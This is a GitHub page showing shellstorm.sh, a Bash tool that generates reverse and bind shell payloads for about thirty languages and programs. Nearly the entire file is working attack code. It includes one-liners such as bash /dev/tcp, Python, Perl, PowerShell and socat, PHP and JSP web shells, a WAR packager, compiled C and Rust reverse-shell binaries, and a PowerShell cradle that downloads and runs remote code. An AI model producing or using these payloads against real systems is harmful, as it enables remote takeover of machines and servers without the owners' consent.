-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathshellstorm.sh
More file actions
804 lines (617 loc) · 23.4 KB
/
shellstorm.sh
File metadata and controls
804 lines (617 loc) · 23.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
#!/bin/bash
##########################################
# shellstorm.sh #
# reverse/bind one-liner shell generator #
# by 0bfxgh0st* #
##########################################
COL_GREEN="\e[0;32m"
COL_YELLOW="\e[0;33m"
COL_YELLOW_MARKDOWN="\e[1;33m"
COL_END="\e[0m"
function Help(){
printf "%s\n\n" "Usage bash shellstorm.sh <language/program> <ip> <port>"
printf "%s\n" "Example:"
printf "%s\n" "bash shellstorm.sh java 127.0.0.1 1337"
}
function Shells(){
printf "\nLanguages:\n\n"
printf "[${COL_GREEN}+${COL_END}] asp\n"
printf "[${COL_GREEN}+${COL_END}] awk\n"
printf "[${COL_GREEN}+${COL_END}] bash\n"
printf "[${COL_GREEN}+${COL_END}] cpan\n"
printf "[${COL_GREEN}+${COL_END}] dart\n"
printf "[${COL_GREEN}+${COL_END}] elf/x86\n"
printf "[${COL_GREEN}+${COL_END}] elf/x64\n"
printf "[${COL_GREEN}+${COL_END}] exe/x86\n"
printf "[${COL_GREEN}+${COL_END}] exe/x64\n"
printf "[${COL_GREEN}+${COL_END}] gawk\n"
printf "[${COL_GREEN}+${COL_END}] golang\n"
printf "[${COL_GREEN}+${COL_END}] groovy\n"
printf "[${COL_GREEN}+${COL_END}] java\n"
printf "[${COL_GREEN}+${COL_END}] jsp\n"
printf "[${COL_GREEN}+${COL_END}] lua\n"
printf "[${COL_GREEN}+${COL_END}] nc\n"
printf "[${COL_GREEN}+${COL_END}] nc-nef\n"
printf "[${COL_GREEN}+${COL_END}] nodejs\n"
printf "[${COL_GREEN}+${COL_END}] openssl\n"
printf "[${COL_GREEN}+${COL_END}] perl\n"
printf "[${COL_GREEN}+${COL_END}] php\n"
printf "[${COL_GREEN}+${COL_END}] php-daemon\n"
printf "[${COL_GREEN}+${COL_END}] php-simple\n"
printf "[${COL_GREEN}+${COL_END}] ps1\n"
printf "[${COL_GREEN}+${COL_END}] ps1-ds\n"
printf "[${COL_GREEN}+${COL_END}] python\n"
printf "[${COL_GREEN}+${COL_END}] ruby\n"
printf "[${COL_GREEN}+${COL_END}] rust\n"
printf "[${COL_GREEN}+${COL_END}] sbd\n"
printf "[${COL_GREEN}+${COL_END}] socat\n"
printf "[${COL_GREEN}+${COL_END}] telnet\n"
printf "[${COL_GREEN}+${COL_END}] war\n"
}
# PROGRAMS/LANGUAGES FUNCTIONS
function _asp_(){
payload=$(printf "\$client = New-Object System.Net.Sockets.TCPClient(\"$2\",$3);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close();" | iconv -t utf-16le | base64 -w 0)
printf "<%%response.write CreateObject(\"WScript.Shell\").Exec(\"cmd /c powershell.exe -ExecutionPolicy Bypass -e $payload\").StdOut.Readall()%%>"
}
function _awk_(){
printf "awk 'BEGIN {s = \"/inet/tcp/0/$2/$3\"; while(42) { do{ printf \"> \" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print \$0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null"
}
function _bash_(){
printf "bash -c \"bash -i >& /dev/tcp/$2/$3 0>&1\"\n"
}
function _elf_(){
cat <<EOF > elf.c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = $3;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("$2");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
EOF
}
function _cpan_(){
cat <<EOF
printf "y" | cpan && printf "! use Socket; my \\\$i=\"$2\"; my \\\$p=$3; socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\")); if(connect(S,sockaddr_in(\\\$p,inet_aton(\\\$i)))){open(STDIN,\">&S\"); open(STDOUT,\">&S\"); open(STDERR,\">&S\"); exec(\"/bin/sh -i\");};" | cpan
EOF
}
function _dart_linux_(){
echo "printf \"import 'dart:io';\nimport 'dart:convert';\n\nmain() {\n Socket.connect(\\\"$2\\\", $3).then((socket) {\n socket.listen((data) {\n Process.start('/bin/bash', []).then((Process process) {\n process.stdin.writeln(new String.fromCharCodes(data).trim());\n process.stdout\n .transform(utf8.decoder)\n .listen((output) { socket.write(output); });\n });\n },\n onDone: () {\n socket.destroy();\n });\n });\n}\n\" > payload.dart && dart run payload.dart"
}
function _exe_(){
cat << EOF > exe.c
#include <winsock2.h>
#include <windows.h>
#include <io.h>
#include <process.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
int port = $3;
struct sockaddr_in sa;
SOCKET sockt = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr.s_addr = inet_addr("$2");
connect(sockt, (struct sockaddr *) &sa, sizeof(sa));
STARTUPINFO sinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES);
sinfo.hStdInput = (HANDLE)sockt;
sinfo.hStdOutput = (HANDLE)sockt;
sinfo.hStdError = (HANDLE)sockt;
PROCESS_INFORMATION pinfo;
CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo);
return (0);
}
EOF
}
function _gawk_(){
printf "gawk 'BEGIN {P=$3;S=\"> \";H=\"$2\";V=\"/inet/tcp/0/\"H\"/\"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print \$0|&V;close(c)}}while(c!=\"exit\")close(V)}}'"
}
function _golang_(){
printf "echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"$2:$3\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > payload.go && go run payload.go && rm payload.go"
}
function _groovy_linux_(){
printf "groovy -e 'String host=\"$2\";int port=$3;String cmd=\"/bin/bash\";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'"
}
function _java_(){
echo "printf 'import java.io.*;\n public class LinuxRevShellExec {\n public static void main(String[] args) {\n try {\n String[] payload = {\"/bin/bash\", \"-c\", \"bash -i >& /dev/tcp/$2/$3 0>&1\"};\n Process p = Runtime.getRuntime().exec(payload);\n BufferedReader in = new BufferedReader(\n new InputStreamReader(p.getInputStream()));\n String line = null;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n }\n catch (IOException e) {\n e.printStackTrace();\n }\n }\n}\n' > payload.java && java payload.java"
}
function _jsp_meta_(){
cat << EOF
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream ip;
OutputStream mU;
StreamConnector( InputStream ip, OutputStream mU )
{
this.ip = ip;
this.mU = mU;
}
public void run()
{
BufferedReader sc = null;
BufferedWriter wVX = null;
try
{
sc = new BufferedReader( new InputStreamReader( this.ip ) );
wVX = new BufferedWriter( new OutputStreamWriter( this.mU ) );
char buffer[] = new char[8192];
int length;
while( ( length = sc.read( buffer, 0, buffer.length ) ) > 0 )
{
wVX.write( buffer, 0, length );
wVX.flush();
}
} catch( Exception e ){}
try
{
if( sc != null )
sc.close();
if( wVX != null )
wVX.close();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket( "$2", $3 );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
EOF
}
function _lua_linux_(){
printf "%s" "lua -e \"require('os');os.execute('bash -c \\\"bash -i >& /dev/tcp/$2/$3 0>&1\\\"');\""
}
function _netcat_(){
printf "nc -lvp $3 -e /bin/bash\n"
}
function _netcat_without_e_flag_(){
printf "mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc $2 $3 1>/tmp/backpipe"
}
function _nodejs_(){
cat << EOF
echo "require('child_process').exec('bash -c \"bash -i >& /dev/tcp/$2/$3 0>&1\"')" > payload.js && nodejs payload.js && rm payload.js
EOF
}
function _openssl_(){
printf "[${COL_YELLOW}+${COL_END}] Target payload\n\n"
printf "mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $2:$3 > /tmp/s; rm /tmp/s"
printf "\n\n"
printf "[${COL_GREEN}+${COL_END}] Creating ssl certs\n"
openssl req -x509 -newkey rsa:4096 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes -subj "/C=UN/ST=Unknown/L=Unknown/O=Unk/CN=www.unknowsite.com"
printf "\n"
printf "[${COL_GREEN}+${COL_END}] Starting openssl server\n"
printf "[${COL_GREEN}+${COL_END}] Listening in $3\n\n"
printf "Openssl server waiting for incomming connection\n"
openssl s_server -quiet -key /tmp/key.pem -cert /tmp/cert.pem -port $3
}
function _perl_(){
printf "perl -e 'use Socket;\$i=\"$2\";\$p=$3;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
}
function _php_(){
printf "php -r '\$sock=fsockopen(\"$2\",$3);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
}
function _php_web_simple_(){
cat <<EOF
<?php
if(isset(\$_REQUEST['cmd'])){
echo "<pre>";
\$cmd = (\$_REQUEST['cmd']);
system(\$cmd);
echo "</pre>";
die;
}
?>
EOF
}
function _php_web_daemon_(){
cat <<EOF
<?php
set_time_limit (0);
\$VERSION = "1.0";
\$ip = "$2";
\$port = $3;
\$chunk_size = 1400;
\$write_a = null;
\$error_a = null;
\$shell = 'uname -a; w; id; /bin/sh -i';
\$daemon = 0;
\$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
\$pid = pcntl_fork();
if (\$pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if (\$pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
\$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
\$sock = fsockopen(\$ip, \$port, \$errno, \$errstr, 30);
if (!\$sock) {
printit("\$errstr (\$errno)");
exit(1);
}
// Spawn shell process
\$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
\$process = proc_open(\$shell, \$descriptorspec, \$pipes);
if (!is_resource(\$process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking(\$pipes[0], 0);
stream_set_blocking(\$pipes[1], 0);
stream_set_blocking(\$pipes[2], 0);
stream_set_blocking(\$sock, 0);
printit("Successfully opened reverse shell to \$ip:\$port");
while (1) {
// Check for end of TCP connection
if (feof(\$sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof(\$pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down \$sock, or some
// command output is available on STDOUT or STDERR
\$read_a = array(\$sock, \$pipes[1], \$pipes[2]);
\$num_changed_sockets = stream_select(\$read_a, \$write_a, \$error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array(\$sock, \$read_a)) {
if (\$debug) printit("SOCK READ");
\$input = fread(\$sock, \$chunk_size);
if (\$debug) printit("SOCK: \$input");
fwrite(\$pipes[0], \$input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array(\$pipes[1], \$read_a)) {
if (\$debug) printit("STDOUT READ");
\$input = fread(\$pipes[1], \$chunk_size);
if (\$debug) printit("STDOUT: \$input");
fwrite(\$sock, \$input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array(\$pipes[2], \$read_a)) {
if (\$debug) printit("STDERR READ");
\$input = fread(\$pipes[2], \$chunk_size);
if (\$debug) printit("STDERR: \$input");
fwrite(\$sock, \$input);
}
}
fclose(\$sock);
fclose(\$pipes[0]);
fclose(\$pipes[1]);
fclose(\$pipes[2]);
proc_close(\$process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit (\$string) {
if (!\$daemon) {
print "\$string\n";
}
}
?>
EOF
}
function _python_(){
printf "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$2\",$3));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
}
function _ruby_(){
printf "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$2\",\"$3\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
}
function _rust_(){
rm -r /tmp/build 2>/dev/null
mkdir /tmp/build
mkdir /tmp/build/src
cat << EOF > /tmp/build/Cargo.toml
[package]
name = "rshell"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
EOF
cat << EOF > /tmp/build/src/main.rs
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
fn main() {
let s = TcpStream::connect("$2:$3").unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}
EOF
}
function _telnet_(){
if [[ -z "$4" ]]
then
printf "Telnet shell needs two ports, one to send commands and the other one to receive I/O\n"
printf "Enter one more port different\n\n"
printf "Usage bash shellstorm.sh telnet <rhost> <rsendport> <rioport>\n"
printf "Example: bash shellstorm.sh telnet 127.0.0.1 4444 4445\n"
exit
fi
rhost="$2"
rsendport="$3"
rioport="$4"
printf "telnet $rhost $rsendport | /bin/bash | telnet $rhost $rioport\n\n"
printf "[${COL_YELLOW_MARKDOWN}!${COL_END}] Warning\n"
printf "You need set up two netcat listeners\n"
printf "One to send commands in port $rsendport\n"
printf "The other one to receive stdout in port $rioport\n"
}
function _sbd_(){
printf "sbd -lvp $3 -e /bin/bash\n"
}
function _socat_(){
printf "socat tcp-connect:$2:$3 exec:/bin/sh,pty,stderr,setsid,sigint,sane"
}
function _ps1_(){
printf "\$client = New-Object System.Net.Sockets.TCPClient(\"$2\",$3);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close();"
}
function _ps1_download_string_(){
rfile="webshell.txt"
printf "powershell -ExecutionPolicy Bypass -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://$2:$3/$rfile');\""
}
function _war_(){
rm -r war 2>/dev/null
mkdir war
mkdir war/WEB-INF
_jsp_meta_ "$1" "$2" "$3" > war/payload.jsp
cat << EOF > war/WEB-INF/web.xml
<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<welcome-file-list>
<welcome-file>payload.jsp</welcome-file>
</welcome-file-list>
</web-app>
EOF
cd war/
jar -cvf payload.war payload.jsp WEB-INF
printf "\n[${COL_GREEN}+${COL_END}] war file compiled in $PWD/payload.war\n"
}
## END PROGRAMS/LANGUAGES FUNCTIONS
# ARGS HANDLERS
if [[ "$1" == "php-simple" ]]; # first because is the only who use just one argument arg $1
then
# printf "[ ${COL_GREEN}PHP web simple${COL_END} ] [(web)]\n\n"
_php_web_simple_ "$1"
exit
fi
if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]]
then
Help
Shells
exit
fi
if [[ "$1" == "asp" ]];
then
# printf "[ ${COL_GREEN}ASP${COL_END} ] [(web/reverse)]\n\n"
_asp_ "$1" "$2" "$3"
elif [[ "$1" == "awk" ]];
then
# printf "[ ${COL_GREEN}AWK${COL_END} ] [(reverse)]\n\n"
_awk_ "$1" "$2" "$3"
elif [[ "$1" == "bash" ]];
then
# printf "[ ${COL_GREEN}BASH${COL_END} ] [(reverse)]\n\n"
_bash_ "$1" "$2" "$3"
elif [[ "$1" == "cpan" ]];
then
# printf "[ ${COL_GREEN}CPAN${COL_END} ] [(reverse)]\n\n"
_cpan_ "$1" "$2" "$3"
elif [[ "$1" == "dart" ]];
then
# printf "[ ${COL_GREEN}DART${COL_END} ] [(reverse)]\n\n"
_dart_linux_ "$1" "$2" "$3"
elif [[ "$1" == "elf/x86" ]];
then
# printf "[ ${COL_GREEN}ELF x86${COL_END} ] [(reverse)]\n\n"
_elf_ "$1" "$2" "$3"
gcc -m32 elf.c -o revshellx86.elf
cat elf.c
printf "[${COL_GREEN}+${COL_END}] Binary x86 file is already compiled and stored in $PWD/revshellx86.elf\n"
rm elf.c
elif [[ "$1" == "elf/x64" ]];
then
# printf "[ ${COL_GREEN}ELF x64${COL_END} ] [(reverse)]\n\n"
_elf_ "$1" "$2" "$3"
gcc elf.c -o revshellx64.elf
cat elf.c
printf "[${COL_GREEN}+${COL_END}] Binary x64 file is already compiled and stored in $PWD/revshellx64.elf\n"
rm elf.c
elif [[ "$1" == "exe/x86" ]];
then
# printf "[ ${COL_GREEN}EXE x86${COL_END} ] [(reverse)]\n\n"
_exe_ "$1" "$2" "$3"
i686-w64-mingw32-gcc exe.c -o revshellx86.exe -lws2_32
cat exe.c
printf "\n[${COL_GREEN}+${COL_END}] Binary x86 file is already compiled and stored in $PWD/revshellx86.exe\n"
rm exe.c
elif [[ "$1" == "exe/x64" ]];
then
# printf "[ ${COL_GREEN}EXE x64${COL_END} ] [(reverse)]\n\n"
_exe_ "$1" "$2" "$3"
cat exe.c
x86_64-w64-mingw32-gcc exe.c -o revshellx64.exe -lws2_32
printf "\n[${COL_GREEN}+${COL_END}] Binary x64 file is already compiled and stored in $PWD/revshellx64.exe\n"
rm exe.c
elif [[ "$1" == "gawk" ]];
then
# printf "[ ${COL_GREEN}GAWK${COL_END} ] [(reverse)]\n\n"
_gawk_ "$1" "$2" "$3"
elif [[ "$1" == "golang" ]] || [[ "$1" == "go" ]] || [[ "$1" == "GOLANG" ]] || [[ "$1" == "GO" ]];
then
# printf "[ ${COL_GREEN}GO${COL_END} ] [(reverse)]\n\n"
_golang_ "$1" "$2" "$3"
elif [[ "$1" == "groovy" ]];
then
# printf "[ ${COL_GREEN}GROOVY${COL_END} ] [(reverse)]\n\n"
_groovy_linux_ "$1" "$2" "$3"
elif [[ "$1" == "java" ]];
then
# printf "[ ${COL_GREEN}JAVA${COL_END} ] [(reverse)]\n\n"
_java_ "$1" "$2" "$3"
elif [[ "$1" == "jsp" ]];
then
# printf "[ ${COL_GREEN}JSP${COL_END} ] [(reverse)]\n\n"
_jsp_meta_ "$1" "$2" "$3"
elif [[ "$1" == "lua" ]];
then
# printf "[ ${COL_GREEN}LUA${COL_END} ] [(reverse)]\n\n"
_lua_linux_ "$1" "$2" "$3"
elif [[ "$1" == "nc" ]];
then
# printf "[ ${COL_GREEN}NETCAT${COL_END} ] [(bind)]\n\n"
_netcat_ "$1" "$2" "$3"
elif [[ "$1" == "nc-nef" ]];
then
# printf "[ ${COL_GREEN}NETCAT without -e flag${COL_END} ] [(reverse)]\n\n"
_netcat_without_e_flag_ "$1" "$2" "$3"
elif [[ "$1" == "nodejs" ]];
then
# printf "[ ${COL_GREEN}NODEJS${COL_END} ] [(reverse)]\n\n"
_nodejs_ "$1" "$2" "$3"
elif [[ "$1" == "openssl" ]];
then
# printf "[ ${COL_GREEN}OPENSSL${COL_END} ] [(reverse)]\n\n"
_openssl_ "$1" "$2" "$3"
elif [[ "$1" == "perl" ]];
then
# printf "[ ${COL_GREEN}PERL${COL_END} ] [(reverse)]\n\n"
_perl_ "$1" "$2" "$3"
elif [[ "$1" == "php" ]];
then
# printf "[ ${COL_GREEN}PHP${COL_END} ] [(reverse)]\n\n"
_php_ "$1" "$2" "$3"
elif [[ "$1" == "php-daemon" ]];
then
# printf "[ ${COL_GREEN}PHP web daemon${COL_END} ] [(web/reverse)]\n\n"
_php_web_daemon_ "$1" "$2" "$3"
elif [[ "$1" == "python" ]];
then
# printf "[ ${COL_GREEN}PYTHON${COL_END} ] [(reverse)]\n\n"
_python_ "$1" "$2" "$3"
elif [[ "$1" == "ruby" ]];
then
# printf "[ ${COL_GREEN}RUBY${COL_END} ] [(reverse)]\n\n"
_ruby_ "$1" "$2" "$3"
elif [[ "$1" == "rust" ]];
then
# printf "[ ${COL_GREEN}RUST${COL_END} ] [(reverse)]\n\n"
_rust_ "$1" "$2" "$3"
cd /tmp/build
cargo build
mv /tmp/build/target/debug/rshell /tmp/
rm -r /tmp/build
printf "\nFile compiled as /tmp/rshell"
elif [[ "$1" == "sbd" ]];
then
# printf "[ ${COL_GREEN}SBD${COL_END} ] [(bind)]\n\n"
_sbd_ "$1" "$2" "$3"
elif [[ "$1" == "socat" ]];
then
# printf "[ ${COL_GREEN}SOCAT${COL_END} ] [(reverse)]\n\n"
_socat_ "$1" "$2" "$3"
elif [[ "$1" == "telnet" ]];
then
# printf "[ ${COL_GREEN}TELNET${COL_END} ] [(reverse)]\n\n"
_telnet_ "$1" "$2" "$3" "$4"
elif [[ "$1" == "ps1" ]];
then
# printf "[ ${COL_GREEN}PS1${COL_END} ] [(reverse)]\n\n"
_ps1_ "$1" "$2" "$3"
elif [[ "$1" == "ps1-ds" ]];
then
# printf "[ ${COL_GREEN}PS1 DownloadString${COL_END} ] [(reverse)]\n\n"
_ps1_download_string_ "$1" "$2" "$3"
elif [[ "$1" == "war" ]];
then
# printf "[ ${COL_GREEN}WAR${COL_END} ] [(reverse)]\n\n"
_war_ "$1" "$2" "$3"
else
printf "Language/Program $1 no available\n"
fi